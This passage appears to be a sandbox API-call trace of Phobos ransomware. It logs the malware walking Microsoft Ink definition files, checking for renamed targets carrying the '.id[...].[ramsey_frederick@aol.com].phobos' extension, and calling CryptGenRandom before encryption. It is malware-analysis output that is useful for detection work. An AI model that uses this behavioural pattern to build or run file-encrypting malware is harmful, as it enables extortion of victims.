lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.634] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=384) returned 1 [0124.634] CloseHandle (hObject=0x594) returned 1 [0124.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0124.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.635] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.636] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.636] ResetEvent (hEvent=0x52c) returned 1 [0124.636] SetEvent (hEvent=0x530) returned 1 [0124.636] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.637] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=392) returned 1 [0124.637] CloseHandle (hObject=0x594) returned 1 [0124.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0124.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.637] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.638] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.639] ResetEvent (hEvent=0x52c) returned 1 [0124.639] SetEvent (hEvent=0x530) returned 1 [0124.639] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.640] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=3333) returned 1 [0124.640] CloseHandle (hObject=0x594) returned 1 [0124.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0124.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.640] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.642] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.642] ResetEvent (hEvent=0x52c) returned 1 [0124.642] SetEvent (hEvent=0x530) returned 1 [0124.643] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.643] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=3524) returned 1 [0124.643] CloseHandle (hObject=0x594) returned 1 [0124.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0124.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.643] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.644] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.645] ResetEvent (hEvent=0x52c) returned 1 [0124.645] SetEvent (hEvent=0x530) returned 1 [0124.645] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.645] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=738) returned 1 [0124.645] CloseHandle (hObject=0x594) returned 1 [0124.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0124.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.646] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.647] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.647] ResetEvent (hEvent=0x52c) returned 1 [0124.647] SetEvent (hEvent=0x530) returned 1 [0124.647] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.648] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=488) returned 1 [0124.648] CloseHandle (hObject=0x594) returned 1 [0124.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0124.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.648] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.649] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.649] ResetEvent (hEvent=0x52c) returned 1 [0124.649] SetEvent (hEvent=0x530) returned 1 [0124.649] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.650] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=16616) returned 1 [0124.650] CloseHandle (hObject=0x594) returned 1 [0124.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0124.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.651] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.652] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.652] ResetEvent (hEvent=0x52c) returned 1 [0124.652] SetEvent (hEvent=0x530) returned 1 [0124.653] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.653] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=9803) returned 1 [0124.653] CloseHandle (hObject=0x594) returned 1 [0124.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0124.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.654] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.655] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.655] ResetEvent (hEvent=0x52c) returned 1 [0124.655] SetEvent (hEvent=0x530) returned 1 [0124.655] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.656] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=10947) returned 1 [0124.656] CloseHandle (hObject=0x594) returned 1 [0124.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0124.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.656] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.657] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.658] ResetEvent (hEvent=0x52c) returned 1 [0124.658] SetEvent (hEvent=0x530) returned 1 [0124.658] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.658] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=737) returned 1 [0124.658] CloseHandle (hObject=0x594) returned 1 [0124.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0124.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.659] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.660] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.660] ResetEvent (hEvent=0x52c) returned 1 [0124.660] SetEvent (hEvent=0x530) returned 1 [0124.660] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.661] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=471) returned 1 [0124.661] CloseHandle (hObject=0x594) returned 1 [0124.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0124.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.661] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.663] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.663] ResetEvent (hEvent=0x52c) returned 1 [0124.663] SetEvent (hEvent=0x530) returned 1 [0124.663] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.663] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=1069) returned 1 [0124.663] CloseHandle (hObject=0x594) returned 1 [0124.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0124.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.663] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.665] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.665] ResetEvent (hEvent=0x52c) returned 1 [0124.665] SetEvent (hEvent=0x530) returned 1 [0124.665] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.666] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=1853) returned 1 [0124.666] CloseHandle (hObject=0x594) returned 1 [0124.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0124.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.666] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.668] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.668] ResetEvent (hEvent=0x52c) returned 1 [0124.668] SetEvent (hEvent=0x530) returned 1 [0124.668] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.668] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=924) returned 1 [0124.668] CloseHandle (hObject=0x594) returned 1 [0124.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0124.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, 